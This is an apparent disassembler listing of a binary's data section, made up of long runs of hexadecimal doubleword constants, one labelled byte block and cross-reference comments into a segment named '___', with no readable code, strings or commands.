dd 0B1F82174h, 2A3AA241h, 824F8097h, 0A037BC5Ah, 0D2B00Eh dd 0B4A0363h, 0C4DA7690h, 0B468C0C2h, 85DC207Dh, 874CC205h dd 80EA019Dh, 31483883h, 9F2F4850h, 0E7B03Dh, 245E52Dh dd 0BB943E34h, 7723B415h, 0F9CB00D0h, 9C647ADFh, 5490013h dd 92624658h, 0A00094F3h, 506A87B1h, 308BD24Ah, 7039986Fh dd 0BA00F042h, 0C2853DACh, 915D89BBh, 0E74A9424h, 0E7A7F06h dd 263DC1E0h, 0C0D70018h, 3FFB3C01h, 6EF4068Ch, 596323FCh dd 53CEB70Eh, 800340EAh, 2F751Ah, 0B9DAB8F1h, 73AF84E8h dd 4A2B9600h, 0FA03FC50h, 4C04020Dh, 8392C33Ch, 882280A4h dd 3AF88E54h, 323B5602h, 0B044E4A7h, 20F5E8B0h, 4900DBC2h dd 0AA4D2758h, 174F3Dh, 1DE0EDADh, 6EA285E3h, 28CC0E03h dd 0ADADD77h, 3D24A4D1h, 824C80ECh, 451FFB0Ch, 93BB113Dh dd 0E7033F94h, 0C0B3BE40h, 97DCF0Ah, 0B8A15A5Bh, 86653419h dd 0DD4277D0h, 0B7C61159h, 0DC6F7C48h, 0FB9484A1h, 505FF280h dd 6C6E49F5h, 8A74831Eh, 0FCE3CBh, 517A3D1Eh, 0C902E0C5h dd 1CA63558h, 0BC4610h, 27A3A403h, 77426FDAh, 610DF430h dd 0A85F0F9h, 679B0465h, 49B48A58h, 6300BEACh, 0EBACEE8Bh dd 0D402A188h, 5B46DD4Bh, 0D1A8804Eh, 90FBF96Dh, 5444019Ch dd 8CC35AF2h, 0AC41807Ch, 0FB918974h, 0C94064C1h, 4E1A4075h dd 982A9A6h, 4F81CF4Bh, 0C47D3C0Eh, 5063FBC6h, 4912C0D8h dd 0C0D62274h, 0B07E9838h, 9700A2EFh, 0E4FAA36Dh, 944D438h dd 3BA7D86Ch, 0DFD21B80h, 8632A6F5h, 2082D85Ah, 0FA3A4226h dd 9DC2300h, 89452B95h, 4A7707E4h, 4063B1E9h, 92A0D98Fh dd 3C90F9F8h, 22015922h, 0BA90478Dh, 4550C890h, 3118CE9Ch dd 0C3E17113h, 1F84A491h, 0DD614D99h, 525A40F7h, 0D4C3469Ah dd 98A1297Ch, 9DFA1050h, 5CA23963h, 0C8533CCCh, 0CC4C8E3Ch dd 0CF1C9D01h, 8339F59Ah, 8395A069h, 1FDCE890h, 0A6CE00A2h dd 51F394C4h, 0E9281BD6h, 0E60E30B3h, 0CD2CE4A8h, 8026D847h dd 5E0E1112h, 1E3FC50Ch, 67A8C0C0h, 0B824C4F9h, 640B06Dh dd 98E50B47h, 0F5991874h, 3EA1895Dh, 430032F0h, 4112BAA6h dd 0C0830B1h, 0ED313F66h, 96246A41h, 93C050F9h, 27AA3A1h dd 76FED789h, 3510DFDDh, 55E9006Dh, 891C8833h, 8CAE47DEh dd 48464512h, 0F6384821h, 111B1822h, 3F84913h, 0A70EDF02h dd 0FFED7836h, 2A87D14h, 0B2E20794h, 1F90A038h, 36DDA49h dd 80C3D1A8h, 0CDC860CCh, 0F0984A58h, 8EE23B20h, 9A3605FCh dd 8846C31Fh, 0EA037438h, 0F59B6F81h, 32F93F38h, 0E169BA00h dd 9FB2D857h, 2F5CEC07h, 0C6E01C5Fh, 3F7E8890h, 3458D2F5h dd 0DD9AD880h, 0BD09C209h, 309F7CD6h, 99BA4D4h, 7E243328h dd 0E5D7C083h, 0C57C4095h, 180AA522h, 0AF7223F4h, 0E0AC54B0h dd 15F0DE45h, 0B2521AF6h, 0DC6C585Dh, 0A3959300h, 2B823B4Eh dd 0D16F60F5h, 0AD5C0A13h, 22FCBA79h, 40D839h, 916E8D15h dd 265BEB85h, 0C42C66F1h, 159D4037h, 0B0E9A230h, 262048Bh dd 98CAD3E5h, 949A6448h, 580BE922h, 0EC80F4B4h, 0B83C4915h dd 5641CC00h, 92DF7F87h, 34A14CFBh, 0A6805A88h, 80D74576h dd 1AD2001Dh, 0E69AF978h, 2322EF26h, 0AA270091h, 0EE4EAEF2h dd 88099EF4h, 384BC7Fh, 243DDCD0h, 43FC8908h, 9A374D2h dd 31656004h, 0E0C23A7Ah, 0ED288022h, 9DBCE719h, 0CC828077h dd 0C09553E6h, 0CE04F938h, 1D1E597Ah, 6906B48Ch, 84B15C11h dd 15B09034h, 0A07B372Ah, 48008322h, 0B893D084h, 580497FBh dd 4C80D423h, 1091F4B5h, 0A4288105h, 12BEEEAAh, 9988006Bh dd 694B3377h, 8780A75Ch, 1682CA8h, 90DDD959h, 0C5FAC458h dd 80688848h, 49734D72h, 0DFA0A8D3h, 0AC0B0A3Dh, 44846E9Ch dd 908A0A60h, 0D6A74483h, 6040E575h, 55FA046Dh, 90B8BA78h dd 67F00268h, 6C3A23F7h, 60C3F100h, 68200A08h, 1DE2AEFh dd 6D95B32Eh, 125424D4h, 9C508468h, 5084753Ch, 5C38585Eh dd 0A40FE07Fh, 7D8AC626h, 73121D0Ch, 0CFE94C31h, 1879A93Bh dd 8C35D8Ch, 0A22F125Eh, 77E04266h, 0CCE5C643h, 0B5B79B00h dd 3E8A69Dh, 0FAF4CCF7h, 2900DF13h, 93BE2A77h, 3A666FCh dd 0A0E10E9Ch, 5819A823h, 5C78DC68h, 0C46FF410h, 4C1BAB00h dd 6D6722D2h, 0A6841229h, 0C60470D6h, 0C89B6E01h, 0F05FD30Ah dd 10F7380Bh, 985688B0h, 0F6A6039Ah, 0FC65D0E5h, 400EA9A0h dd 8A50C0A0h, 3998F317h, 0F421F840h, 7987EA57h, 0B6E1C0B1h dd 0E2CEAA24h, 22956000h, 1896A846h, 4C1E00C6h, 4E0C075Ch dd 6F58BD5Bh, 0C9CB0DF4h, 6460503Ch, 7C8AA78h, 94280FD4h dd 31809010h, 92C4161Ch, 159E8E01h, 0BE7EB83Dh, 664D73CCh dd 0D8AF5AF1h, 2DE1D105h, 80446B77h, 0C5665CEh, 0B46980D0h dd 27808894h, 793BAADEh, 23E0095h, 76FCA8CFh, 7C7E50B8h dd 4ED931C1h, 64F07DB5h, 4080006Dh, 73087163h, 0A4E08EFDh dd 5CC96A28h, 0DF926105h, 0B805C36Ch, 0C772FEh, 10AFB13h dd 5DC7F120h, 7312DE77h, 29BB00B0h, 0F524932Bh, 157103FAh dd 763D5AFCh, 6413C100h, 4F2AD0C5h, 3B03058Dh, 89F9C658h dd 0F689C4B8h, 11642330h, 0A0D563h, 0B37B5B26h, 6585F87h dd 106D9C0Ch, 356D982h, 187BA29Bh, 0EEB0B821h, 0F00E173Ch dd 40DC0CFBh, 77BB74EBh, 125DFC44h, 9403C628h, 5924C0A0h dd 0B70B91F2h, 0A15B6756h, 6A7139E0h, 3A805807h, 0C9907ED1h dd 76B50049h, 2D188919h, 0CDF6722Ch, 0A39EB206h, 3E30732Ah dd 0FB12A4BBh, 115022D2h, 0A600EC64h, 2F0992E6h, 1DAF0EAh dd 65D405FFh, 0DD8D754Eh, 261430BFh, 27876600h, 8AAE1562h dd 24AF0005h, 7B608D57h, 50B5EDC4h, 40144A51h, 0B6589A70h dd 0E00FDF9Eh, 80B23DD8h, 95C84EFFh, 1BB50008h, 394F367Dh dd 2EC06E17h, 3B7F7659h, 88961F19h, 0E7634130h, 0D04C922Dh dd 1D0079FAh, 964E5AE4h, 7E5DC642h, 8D3F0084h, 18A7C410h dd 393A12B5h, 8034CC31h, 34D85C65h, 8C630008h, 9A1262EDh dd 0F00AEF6h, 5C48B34Dh, 899310h, 1AEDAC46h, 91057FF4h dd 426DF61Fh, 0B7E53040h, 559444A6h, 0EF4D45Eh, 0BB143589h dd 751B8278h, 407FB441h, 2483BE0h, 74D39309h, 0F4C824AAh dd 0B8A164B4h, 0ABE9031Ch, 0C1075762h, 2073F9C1h, 0F58964ACh dd 42006429h, 55B8FE76h, 0BA043EA6h, 2163B433h, 0F3D29CC0h dd 61C8400Bh, 0F4034202h, 484E50E9h, 19BFCB0h, 96A68E74h dd 0D03692ECh, 0A4B144C3h, 5B0F679Ch, 9B058016h, 723A8h dd 3513AE78h, 2ACFAC8h, 8C0819D3h, 8422946Ah, 77411F80h dd 9B004E29h, 367F19FCh, 27CA4E0h, 0A04A175h, 7868A7B2h dd 110008F9h, 0ED20F389h, 2C8A4FFBh, 114675Eh, 36E18892h dd 1D42D659h, 64036CE4h, 0C6B11589h, 0E0F3C80Ah, 5AF91C39h dd 329BD69Fh, 7C721180h, 0A7B60C00h, 311B8708h, 6377018Eh dd 0C733F1C3h, 0C80203B4h, 0B1B8C654h, 0E877097Ch, 18335C13h dd 0C478E166h dd 0CE005CB2h, 0BA2E2397h, 9409C1FDh db 0C0h byte_530055 db 49h, 69h, 24h ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 634070CCh, 35EDEEB2h, 0DCE0C701h, 97A346F1h, 0B922A430h dd 12B80014h, 0B2F4A0FEh, 90EB8200h, 153B9305h, 0C8895027h dd 0E40752E9h, 0ACF0380Ch, 0F6258861h, 0A504109Bh, 9C0500C2h dd 4FB809BFh, 0FF00E3B5h, 40628C48h, 3C937644h, 0B1274D31h dd 7A232C20h, 1E2E910Dh, 0C2877BBh, 6912AF78h, 28421FF0h dd 64095C68h, 0AD0F0494h, 8046E6A5h, 910BF470h, 0AC058C90h dd 6E1BAEA6h, 4C04CCC8h, 0F11F842Bh, 201C6557h, 693E3E78h dd 0C78080D7h, 5B94FD2Fh, 2C2348C0h, 0CC10C180h, 3A014FEDh dd 894AE2CBh, 187223FEh, 47C7D500h, 8C9C480Dh, 2ECF5C00h dd 3AE88D41h, 7C8F26B2h, 83F100F4h, 0ED853FA8h, 0C26F7F00h dd 0FE9CE369h, 0FC1F72ECh, 25B0C8h, 855F4AF2h, 607596AEh dd 58984029h, 0FB032E2Ch, 80196281h, 2FEC141h, 2279869Eh dd 98443007h, 1169D481h, 0EDD1C965h, 1DBFBC30h, 403BE43Ch dd 527F4839h, 507DF187h, 0D6807491h, 65B7A74h, 0AE8609Eh dd 0EACDE6Dh, 0CE03CB04h, 8881AE9h, 74F522FAh, 5DDFDB00h dd 0AE2FF16Eh, 16992542h, 0F5B0AC10h, 88E1F200h, 8D9C24BCh dd 8FE20020h, 47172344h, 4C99DE3Ah, 0B0E1D38Dh, 8894C5E2h dd 9A44C81Ch, 0DDAA60C0h, 85EAB6h, 0F9933386h, 9FC1D7FBh dd 0EC547100h, 0D896384Ch, 0C763065Dh, 1131E4E9h, 0BECFFB18h dd 0A386429h, 6E9DA03h, 0C4C19070h, 770EAE3Fh, 8904789Eh dd 85DF963Eh, 0CA301390h, 7C6B3BD8h, 0F2001979h, 0AB0F5E5Ah dd 9453AEDCh, 92220CC4h, 0C0018DD9h, 0ACA7857h, 0E0FF93A0h dd 24417A96h, 60481952h, 630A8F2Eh, 4FD79C00h, 40721B15h dd 749A12F5h, 21A00694h, 0AE889DCh, 4469BB05h, 0F021C931h dd 219E1411h, 0A6BD4087h, 193780B8h, 0D24BA409h, 9CA80089h dd 5CF0A9E8h, 5300944Dh, 0D962BDC8h, 0F409A5A4h, 2B11880h dd 0E0E067D6h, 1748FAh, 624561BFh, 6C42724Bh, 0BBC95505h dd 0F898A574h, 231C0060h, 3B6C4C95h, 0C50CC745h, 0F07415CEh dd 4F1483Ah, 0C07E6D87h, 0BAF29448h, 70A5AC2Ch, 9004C685h dd 0B4DCFCC8h, 0F6694ECCh, 0FB4C7C10h, 0F93FC00Eh, 0DF7782FDh dd 84D091C5h, 4132B210h, 0CD722200h, 6DD44631h, 9274EEA5h dd 77DE75A4h, 0EC7A5C41h, 805EF784h, 0B029CD30h, 0AFAE1E04h dd 0D4C8B6C3h, 3389784Bh, 0F51162D0h, 0DA44F0FCh, 8F01C1E8h dd 0FD575B39h, 78FD5E04h, 26814270h, 40780D59h, 3CDE23DCh dd 0C32F9CAEh, 1270115Eh, 1384910Ch, 618015ACh, 4427ED98h dd 43C0CD2Ch, 0D0B2615Ch, 4A7CE8E4h, 7799C200h, 0BB9B060Bh dd 6C882545h, 6BA7B0A7h, 65284018h, 0B5009EFEh, 13FB023Ch dd 0B0809219h, 47C30CB0h, 75286756h, 2B4CDE5Ch, 13094CA5h dd 8AE40120h, 0F8228D54h, 16157F02h, 62123B5Bh, 0D0602F60h dd 0C8FAC417h, 94B60734h, 85AC9885h, 3699820h, 583A01E5h dd 0C3760E92h, 22FC4846h, 3AE03C4Dh, 0A9DA006Bh, 1CB46455h dd 1896F841h, 4986DE6Ah, 61C0C711h, 0E997C14Eh, 2439F8E1h dd 8C48374Fh, 33107A98h, 8801D8ACh, 386708C3h, 3C423E8Fh dd 6992203Ah, 0FD00A79Fh, 739B35AFh, 1E020BB3h, 24F5EF7Bh dd 0F4AC601Ch, 7600C929h, 8ED187F8h, 231A5E0h, 4A54B225h dd 4920C511h, 0B1FDAF6h, 0E6EE6692h, 657E4881h, 11EAF315h dd 302C5C72h, 5D00D5E2h, 808A2995h, 0F6D73DDDh, 8678592h dd 22927380h, 0AC5C0490h, 3B3A0088h, 7E894716h, 0AF029E4Eh dd 0AE5573CDh, 214EC22h, 0E6F2D275h, 0A8725B36h, 0D40060B3h dd 0BBA31AAFh, 4CBC0470h, 183A71CFh, 308E7921h, 25390C26h dd 1A006DBEh, 1134C337h, 0AD2D18h, 954C520Ah, 38D390CBh dd 405F2B35h, 6DBA4004h, 0D410220Bh, 4100FF02h, 0E20FBC71h dd 2D78188h, 20ABF35Eh, 0D0D1506Bh, 4AAD0402h, 26DD80DDh dd 0C72D11h, 137EC51h, 90C631F6h, 0DE42249Eh, 0FE961069h dd 0B0E4D1Fh, 0FB2E7F07h, 7861BCC2h, 0E24A674h, 0E7ACCF6Eh dd 5ED1F5A3h, 0C3982107h, 508DBDFBh, 0F400E463h, 0F85DEF53h dd 21041F6Eh, 87DF471Bh, 12748813h, 88316061h, 0DC289C9Ah dd 41A50581h, 4C25E0EDh, 0FB0A1B7Dh, 185E1269h, 1160C82Ch dd 1F8635AAh, 2D89718Ah, 653C88A0h, 1F00121Ch, 0D131A357h dd 0FCFFE7A8h, 0ACF504E4h, 805A5D59h, 46387D84h, 34E41CA2h dd 6EF4CC00h, 9D7D633Bh, 0DD8D0B5Dh, 20C84FD6h, 5C005914h dd 16851BF2h, 7BDD4DEFh, 4F8A00AEh, 63EBD20Bh, 0D92CC768h dd 1E00C987h, 7BEE6136h, 0F99B0092h, 0FBBB4B1Fh, 8100AE78h dd 9E694418h, 0E946A1h, 729FC5C3h, 197EF034h, 89BE12Ch dd 3458D826h, 0E09C3D5Fh, 37B6D480h, 44B23652h, 0EA450300h dd 171574C0h, 4054B439h, 9B0E16C2h, 434FFC00h, 1EA9F270h dd 8AC101F5h, 0DED1E5F6h, 0A2F0447Ch, 0AEE2000Ch, 0CE4BC221h dd 57B0074Fh, 0CCE5D519h, 24489621h, 0D03180BCh, 661A6Eh dd 8DFBEB8Ah, 18965ADh, 69169C09h, 0D859EDh, 20DA2CD7h dd 9845231Ah, 0E529E0h, 0C7CFDBE7h, 448990A2h, 4182AA00h dd 0A876DF5Fh, 785B00A5h, 6D1EC591h, 4E00FABEh, 7B441F15h dd 1E1206A0h, 0C0994573h, 2B58BB9Ah, 77983C93h, 5485AB2Eh dd 3666A81h, 0C0E27973h, 10B36FCh, 0CCEC60F7h, 61998E72h dd 4549D4A5h, 0EAF91B01h, 3E01C665h, 80F3A444h, 173D4000h dd 0B410660Fh, 7377FD03h, 0B82C2EECh, 26334A83h, 77C23Ah dd 0E24282DAh, 5D139BD3h, 0C90B429h, 4359EFh, 56429D31h dd 0B520F3C4h, 40832B05h, 88C1872Ah, 0B88B94ECh, 0E4E45C38h dd 92EB4600h, 36781525h, 979F2503h, 0DA0058C4h, 0F5DC3767h dd 178F5B44h, 452850h, 0F6F89E08h, 70074C1h, 0FD139C99h dd 7E9302C7h, 963F3854h, 7C20B32Fh, 9D17FF2Fh, 0EF3EEB00h dd 0C88421E1h, 0C913085Ch, 64245F89h, 3867020Bh, 0AB101Ch dd 98AF7FCDh, 2EA8E535h, 75EEED02h, 0E4A26E22h, 9CBCB244h dd 5F184208h, 38EBB0A0h, 2800EDF0h, 874DAA16h, 24C96919h dd 8124D6B7h, 684E8BD8h, 80386875h, 0B220FE6Dh, 0E6C7003Fh dd 0F49E8073h, 0A609B89Dh, 50B1CF4Bh, 92589EDCh, 0B7CA34Ah dd 0E80EAE04h, 79697548h, 874E1F1Ah, 0EC92D7h, 73DA18A0h dd 5C00685Dh, 45D02407h, 0CF96D6Bh, 0E7376F5Ah, 617A2810h dd 0AF3E9C0Fh, 0B94402Eh, 0ED747Dh, 0DD9D4C0Eh, 922419A9h dd 0FE51E916h, 0ACDF05FEh, 8EA8C3EDh, 736541C8h, 850F29F0h dd 0B28F3319h, 0E64C24C0h, 3C1158E8h, 4040358Fh, 0D1377E0Eh dd 0A87FECFFh, 0C1699600h, 0A2FC6C08h, 0E1B70942h, 0C0E4BA90h dd 0F9C0B47Eh, 0B9FF9C7Bh, 39011DF9h, 0F0C880C2h, 0DD5ED5E6h dd 2876962Ch, 81848908h, 0C5012399h, 4DE448FAh, 0FFD6F112h dd 13D27FF0h, 47701A22h, 72245CFCh, 0BC808C74h, 573C5B0Eh dd 0F8CF11CAh, 0DF376840h, 0E3650B4Fh, 8484D6D1h, 0EBDE4044h dd 5670DB2h, 0CEC66DF4h, 456890D1h, 80003E4Dh, 82DDABD4h dd 9DE96Eh, 62E1093Ah, 0B34BC6D9h, 189ED130h, 0E5AC79h dd 934003F9h, 8C468891h, 0FCD24700h, 2579DCC5h, 0CEC32E89h dd 87F543ECh, 12C4A100h, 784A602Ah, 0C5F809EAh, 0BC80D00Bh dd 776D302Eh, 0ED00A873h, 9C51410Fh, 3E1D1AF6h, 313FE949h dd 0FBA05581h, 60751FD3h, 0C32EF1AEh, 44001895h, 354AED9Ah dd 8B8100E8h, 84F9B3D8h, 150B9B3Fh, 0C016B726h, 8463CF24h dd 44DF073Ah, 75398883h dd 0AAA4AE04h, 0B0C1415Ch, 4053C88h, 46508D74h, 0F149F638h dd 4CDDA060h, 9B00908Fh, 6B52EC46h, 54780B77h, 0FC1FBB79h dd 41D369Ah, 2B11133Fh, 6EA4D8A0h, 16A05018h, 306F196h dd 0FBED9C02h, 8011CEE5h, 0E3EB6250h, 524E00FEh, 4D440DB4h dd 9A4B39DEh, 4150C8h, 0E9CB8CE6h, 14C81BCEh, 0AAF9E805h dd 3B82B401h, 98386224h, 7E4AE0h, 0FE78F847h, 6193421Ah dd 3795C800h, 7A6314C6h, 0E6E12896h, 0FED20508h, 225FB6C4h dd 0A3216EECh, 97C4DFDBh, 0BEF80002h, 0D82AB17Eh, 0CB0110DEh dd 3BBD86B0h, 982339AAh, 9598F600h, 510A739Ah, 1D9DC200h dd 6F7C83A6h, 0F21225DCh, 0D048C441h, 3A00700Bh, 0B5571AADh dd 5069894Ch, 417DE042h, 3DEC027Ah, 5B0030C5h, 7AC9B29Ch dd 9E80061h, 0EB91D862h, 0A74E4EF1h, 4FD11080h, 48D96273h dd 7C5C90C3h, 9815388Bh, 76FB309Ch, 0A871F5B7h, 598923CAh dd 0E00CAAF1h, 0F5187735h, 0F9907B64h, 7A9C0104h, 0AF4D0947h dd 0D9A981D7h, 0D0076102h, 119DE03Ch, 0C3880972h, 400892CFh dd 9EA2CB61h, 6922811Ch, 39F5724Bh, 56A50008h, 7B6B88CAh dd 25749362h, 3700E8C4h, 13A4F31Eh, 264F0769h, 26303D3Fh dd 0DCC06034h, 330F1249h, 0FCBB170h, 66B60076h, 0C79EE52h dd 5DDFEA26h, 0FC00DEB1h, 57AE3FEBh, 78BA4EEDh, 89D40023h dd 7B9C2D71h, 955C8C48h, 824317BCh, 70DBD4DCh, 7D8C0022h dd 0E2E83ADAh, 2902A49Ch, 94387B73h, 0E899243Fh, 24B2D28Ch dd 437A2500h, 0ACFB0BB2h, 4E865501h, 589B71F8h, 10338ECh dd 16A192D7h, 74D019C9h, 89C081C8h, 10D6BCDBh, 64FC0002h dd 4A53BE8Eh, 24004906h, 0B3FD0B20h, 7C7929A5h, 2B640075h dd 0F89D0E5h, 5C96A1CEh, 0A94E8E00h, 79B67C4Ch, 40F65AE6h dd 6526881Ch, 0FB00BD4Dh, 3359186Dh, 72699DFAh, 6EF625FCh dd 1084C411h, 3DAC1A5h, 92A946EAh, 89A8C73Ch, 0D6B017F9h dd 0B1557801h, 24D87249h, 0B4F51E0h, 73E5BF8Dh, 3ED9B080h dd 597588B3h, 0D4F11400h, 7C62A7F9h, 8921175Ah, 0ACC80291h dd 847224A4h, 1D82CB02h, 0A08C5343h, 6DB28F44h, 481B0131h dd 7792673Ah, 4B83DE8h, 5EF12498h, 93044200h, 1B4EF01Dh dd 592D840h, 0B42FDB49h, 0BE18289Ch, 6B153F2Ch, 0D4003467h dd 5874F10Dh, 0AA247296h, 3E01E8D2h, 2DC36E9Bh, 2ABCF104h dd 916BD020h, 92C74BDh, 0ED54BF3h, 0C3D38C90h, 3AEC2100h dd 0F1A937D8h, 38F50187h, 7E09E529h, 3C062EA3h, 0C08165AEh dd 5CC574Eh, 46002812h, 0BE04DE0Eh, 942D34Eh, 3C40C81Dh dd 7309B4E4h, 8214B74Dh, 1DC37F8h, 0F0E1DE88h, 80C8344h dd 283A6432h, 39616E94h, 3796A6A2h, 0F302F479h, 0C0DB8C4Ah dd 0C011DA0Ch, 500A8A19h, 4874D5EEh, 0B87A8C2Ch, 5AADE900h dd 0A68428h, 775E78FBh, 0AC69B8B2h, 903EA102h, 5C98EF5Dh dd 0BCC90900h, 7B8E7048h, 3FC568Ah, 23FD9BC4h, 0CC00B97Ch dd 0AD4F02FBh, 0E1AAACh, 0AFCE1F43h, 8C225216h, 0A023F627h dd 0A70383B8h, 0B6E012A8h, 70C027AEh, 789A90F2h, 0D8D35600h dd 0CA28FBCDh, 3AD898A1h, 0DD062AD4h, 0A024275Eh, 0F440C09Ch dd 4C47239Ch, 44CB498h, 363C8893h, 0B0D8EF00h, 0B9A08681h dd 178F837h, 7C72DAA7h, 0F6DE13D3h, 7F0054D1h, 0EDF0FC34h dd 91A82863h, 0F1DB45ACh, 94162A9Bh, 0ED242CCAh, 868E605Ch dd 0FB1CEC99h, 83FAE69Ah, 9B4C1E94h, 90849DC3h, 7CE0B5C4h dd 0FD0A8E25h, 2C507BF3h, 2088B117h, 575D40C7h, 654AAE00h dd 0AA8EED5Ch, 946B50BCh, 509C9C88h, 0B51C9B14h, 49845B34h dd 0D8DD5A92h, 8CD8402Ah, 0B62E2A6Fh, 1517CF7Bh, 4880AFDh dd 70BA0BF1h, 0E8EE4E8Ah, 65881175h, 0F090958Ah, 0C4B6E977h dd 0C3CA2C40h, 39B0655Bh, 50A299h, 91FF041Ah, 0AABAD1h dd 958EEBE8h, 5733A58Bh, 6187F230h, 636EECh, 72DDEDCh dd 0BDC2F0ADh, 12614C02h, 8952D1CEh, 40E4593Ch, 46CC8DC7h dd 92448F01h, 0C44AFD32h, 72A0F4D0h, 289B1D99h, 46BE8037h dd 273352E9h, 4DF835ECh, 0FD407C05h, 4B15492h, 887DB1D4h dd 1D00BD5Eh, 350CFE39h, 0FD32DA43h, 17ABDFE8h, 2D11209h dd 5BB01E1Dh, 6C601C7Eh, 0E4E0F9CFh, 0E5477FAh, 6B1A600Ah dd 0C410F88Bh, 0B6001CD0h, 115F3285h, 7C46C631h, 0C04CB465h dd 8DDC1EBBh, 7BFA6D00h, 0C6B958E1h, 0EA551E24h, 4D24329h dd 110005D9h, 0F697A263h, 75EFFBh, 898AF0F4h, 5961E47h dd 0DB1B933Ch, 3B929820h, 965CBE76h, 31E4C265h, 0B3402854h dd 0CB7ACEh, 94E9B196h, 2DF1DA66h, 43909300h, 0E139B3Ah dd 0B4049D3Fh, 0D478C7DCh, 29650FD6h, 3FC0F2B7h, 0DCD4F477h dd 108609A1h, 64C9A4C2h, 38718B78h, 609491E4h, 0C095408Fh dd 75821B1h, 431531B8h, 96F03C45h, 910978FEh, 916D86FAh dd 3F4F1A4h, 6988A0C8h, 0B660D3E4h, 0F3A200F8h, 0A806EC3Dh dd 74B82780h, 811E1C60h, 0CA806082h, 61608253h, 66246850h dd 1C2EAC4Fh, 8E9AEB80h, 1A8C5D6h, 0D440FF17h, 0DC61DDC2h dd 6713E61Ah, 3800F984h, 4AB47247h, 9AAE7EDFh, 0D87964C4h dd 0CEC644CAh, 8C81A0FCh, 34651745h, 0BF4FF6D8h, 0F085E45Dh dd 4CA283BBh, 25B6CB0Eh, 37ACF60h, 0B5F6D4h, 0E1C8B548h dd 46B4A83Fh, 0F3D288A6h, 93962Ch, 2D847BBEh, 0F8108514h dd 5C06B563h, 92BE21A4h, 12351151h, 66851A64h, 130E439h dd 3A054331h, 33089301h, 8C180004h, 0EA0FE721h, 34423F0Ch dd 52D69181h, 0FC4DB0FEh, 0A269430h, 1035ACE7h, 984098ACh dd 80448C7Bh, 770C98A1h, 6CE0C30Eh, 0E8DCFDC6h, 0F7478050h dd 0EE46DD4Ch, 0A44E50C2h, 0D9712215h, 1192300Eh, 0D81DB3E7h dd 0DA484B49h, 2FA71D44h, 8973805Ch, 5FB9CF57h, 0AE1A6491h dd 63C05E29h, 33E2F842h, 7A03FC7Eh, 2FD2F577h, 0F020B4A9h dd 848F12E6h, 9777CF1Fh, 8C4E340h, 1DB6469h, 0A1211A59h dd 0D4CF58C2h, 70C65F44h, 349A6F5h, 14F9B86Dh, 0A2C47209h dd 0B9480050h, 0CEE51F98h, 0BC6638C5h, 6396CD80h, 0B69ECCBDh dd 12174C0Ch, 0F0A1B929h, 924A0767h, 0ABB054D3h, 77518CC8h dd 20048282h, 0EAFDC0CBh, 0A1FCA0FAh, 534C44FEh, 1366A44h dd 6244597Dh, 0F89B3879h, 9C32A8EAh, 7E40B8BBh, 0C25CC048h dd 350279CDh, 0AA8BD323h, 910D982h, 1818724Eh, 37799419h dd 6BAD7501h, 9E7ABE86h, 0B8A42C0h, 9AF82BFAh, 9CA14450h dd 0DC101770h, 815E3F46h, 0DC3922h, 0AEA47744h, 747FD4h dd 0EABAB51Eh, 7BF8F4A6h, 8CBEF317h, 0F6888h, 0FA949914h dd 72DFF44Fh, 0EDDAA21Eh, 410B3600h, 71F62940h, 4B93001Ah dd 0A27CD149h, 600739Dh, 2210DC62h, 0A4A95FC3h, 90EE4A94h dd 0B51A7218h, 6EB00F00h, 305A2116h, 40409C74h, 0A3BD01F7h dd 0A85E9300h, 1E56E297h, 24449299h, 440C2B51h, 0B6A14034h dd 947359F9h, 3F915Ch, 0CF978E28h, 0E6997C5Ch, 497B0076h dd 165BF782h, 0AE0372D4h, 738DC40Bh, 0A888B593h, 13AA002Bh dd 0DD4084C0h, 13989C51h, 0FB36E21Fh, 33144825h, 0C8F8009Fh dd 0DCF404EDh, 9300C026h, 6E4602C9h, 91928689h, 1B0B3A90h dd 0EC902344h, 91023FCEh, 45B720E2h, 16F4F0BBh, 5078C938h dd 7D22A020h, 695DEDF8h, 42AD8844h, 0A06480F1h, 0BC620122h dd 0FCED4390h, 75C069CAh, 78009915h, 814B94DEh, 1FF23B2Ah dd 75585Fh, 48BA3F9Ch dd 42121AEAh, 481D520Dh, 0F1B00A5Dh, 0D1BE354h, 8FAB50B5h dd 0A919CEB8h, 47449008h, 524C78D1h, 2129AC91h, 865B0080h dd 971196EEh, 0F0D75616h, 0CFBD40Fh, 0F279D8ADh, 0C1FC12E4h dd 10905973h, 0D0407A24h, 0BC63E00Ah, 7522037Ch, 0EF3057DFh dd 5A6E0380h, 6391209Bh, 0E4D3F91Fh, 4DEA0661h, 309A7007h dd 0E24810B5h, 0C94105CCh, 0C03564B6h, 0A5307EDAh, 9F0D5900h dd 9E75637Fh, 6E420068h, 8EFD1B5Ch, 0ED7549E1h, 3C0385B0h dd 6FD17475h, 42887B61h, 9062222Ah, 288E459Ch, 0F81ED26Ch dd 1108E80Dh, 53804838h, 564E4415h, 46EA0504h, 3809B297h dd 0F892A4C6h, 41AF0530h, 74D76496h, 0C8863EEDh, 4608D05Eh dd 9CBC6D90h, 0E2C0F9C4h, 7FCA880Fh, 0C3743DB7h, 0A0F10780h dd 91F9FD5Ah, 7B0CD49h, 256FD859h, 6773EA0h, 0B171CB09h dd 0B90CF448h, 0F3C9473Fh, 9AC08491h, 20F81E6h, 561FEDEFh dd 7F024D45h, 923D11E2h, 78044CD9h, 0F444B035h, 3AFA2081h dd 105B896Ch, 1A0E551h, 0B6BE4802h, 2DE1B245h, 0B77A01F0h dd 0C7CAFBFEh, 42712834h, 4C662240h, 228020B4h, 0ED2BAA0h dd 35B62D01h, 0D17C4892h, 3E068EF8h, 15BE44E4h, 408823AEh dd 4F492658h, 62738100h, 36517B01h, 0DE070B30h, 0C02437Eh dd 3E245AFAh, 0C7D1C140h, 0AC0056DAh, 0DE01F455h, 708EE14Eh dd 0B81402C9h, 93CB3449h, 283A499h, 0F872EEh, 18A8BF37h dd 4BA9DBC8h, 858935Dh, 944CFE95h, 868CFCBCh, 27007E49h dd 0ABC4D86Fh, 0E40BECh, 0CDC33A8Ch, 0FEFB1B4Ch, 0A1016B00h dd 81E18870h, 1AE72EBh, 7F77BD10h, 0D0781306h, 0CA00E41Dh dd 0D0376494h, 34D60Ch, 35620353h, 0AD1DC22Fh, 0BE188100h dd 0D07847F4h, 0EBA2009Dh, 0A53D938Bh, 0B20071DCh, 4CBD1D80h dd 328F2BEh, 0EB487325h, 0B7C17077h, 68BF5Eh, 0DCFFECCBh dd 0BDA552h, 2833F4D1h, 0D6F3B181h, 598BC62h, 71CC2014h dd 12000323h, 6BF9D4CFh, 0F834FCEh, 82C68709h, 0FA2190A4h dd 